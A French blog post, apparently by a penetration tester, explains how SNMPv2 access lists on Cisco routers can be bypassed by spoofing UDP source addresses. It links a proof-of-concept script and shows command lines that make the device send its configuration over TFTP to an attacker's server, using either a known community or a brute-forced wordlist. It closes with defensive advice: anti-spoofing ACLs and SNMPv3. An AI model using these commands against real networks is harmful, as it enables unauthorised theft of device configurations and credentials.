Dans certains cas, une ACL c’est un peu Useless, c’est typiquement le cas en SNMP v2. Dans ce que l’on va voir, rien de 9 depuis 10 ans, mais ça marche toujours. Voici un petit poc qui permet de récupérer la configuration d’un device cisco en passant outre l’ACL configurée sur le service.
https://github.com/Th4nat0s/Chall_Tools/blob/master/spoof_tftp_bckp.py
Pour m’occuper (oui je suis au calme ces temps-ci) j’ai fait un petit script pour valider ce POC. Je suis d’ailleurs étonné que personne n’en ai fait depuis tout ce temps. Mettons que vous pentestiez et que vous soyez coincé devant un routeur ou un switch de type catalyst 6k qui refuse de vous laisser lui titiller en SNMP car évidemment l’administrateur a bien fait son travail et a mis en place une ACL sur le service.
Du genre
snmp-server community topsecret rw 60 access-list 60 permit 10.1.1.1 access-list 60 permit 10.2.2.2
Là Berthier, il pense être safe, franchement que risque t’il. La communauté est pas “PRIVATE” il y a une ACL.
Le hic c’est la conjonction de deux petites faiblesses. SNMPv2 c’est UDP et l’UDP ca se spoof. Du coup, dans un réseau, cette ACL ne sert strictement à rien. Cela s’attaque presque comme si il n’y en avait pas. Ensuite le truc qui aide bien c’est qu’en SNMP on peut demander au Cisco de backuper en TFTP sur une 3eme IP de notre choix qui n’est pas celle qui donne l’ordre.
Au final, dans un réseau interne, cela marche bien. Dans l’absolu, si quelqu’un spoofe depuis internet ca marche aussi. On comprend mieux l’intérêt des ACL anti spoofing qu’il faut obligatoirement mettre directement sur l’interface externe du routeur.
C’est pas Win Win mais pour trouver les IP qui on probablement le droit de backuper; Petites idées;
- IP qui dispose d’un serveur TFTP qui tourne (Port 69 bien sur).
- IP qui répondent dans le DNS au doux nom de “CCP, LMS, Cacti, Smarts, MOM, RRD, Nagios, Nabbix …”
- Une page de test du photocopieur (filera aussi probablement la communautés avec un peu de chance).
- Infos Glanées autre part dans votre pentest.
- Etc..
Allons y, on demande de backuper… ici le routeur est en 192.168.1.2 et votre rogue serveur tftp en .3. Deux possibilitées
A) Chanceux vous disposez de la communauté RW
$ ./spoof_tftp_bckp.py Fun tool to bypass ACL, Trigger a backup of a cisco from a spoofed ip ACL in SNMP v2 protect nothing To Use: ./spoof_tftp_bckp.py src_ip csco_ip tftp_ip [rwcommunity or filename] $ sudo ./spoof_tftp_bckp.py 10.1.1.1 192.168.1.2 192.168.1.3 PRIVATE Payload send from 10.1.1.1 to 192.168.1.2 with Community PRIVATE backup to 192.168.1.3
B) Pas de communauté, on bruteforce comme un Âne avec une password list.
$ sudo ./spoof_tftp_bckp.py 10.1.1.1 192.168.1.2 192.168.1.3 /opt/metasploit/apps/pro/data/wordlists/snmp_default_pass.txt . . . . . . . . . . . . . . . . . . . . Finished list
Dans les deux cas, si tout se passe bien, un fichier devrait arriver dans votre tftp d’ici quelques secondes.
En conclusion, attention, en UDP une ACL n’apporte pas grand choses si elle n’est pas en place sur une interface pour faire de l’anti-spoofing. Rien de tous cela n’est nouveau. Je sais que c’est pénible, mais SNMPv3 est la solution, il a 10 ans désormais.
Salut Thanatos,
Pour complèter ton analyse des problèmatiques de sécurité soulevées par le protocole SNMP, je pose un lien vers plusieurs articles que j’ai rédigé il y a quelques temps. J’espère que ça t’intéressera. :-) => http://www.0x0ff.info/tag/snmp/
Fun :) http://www.0x0ff.info/2013/snmpv3-le-gros/#more-834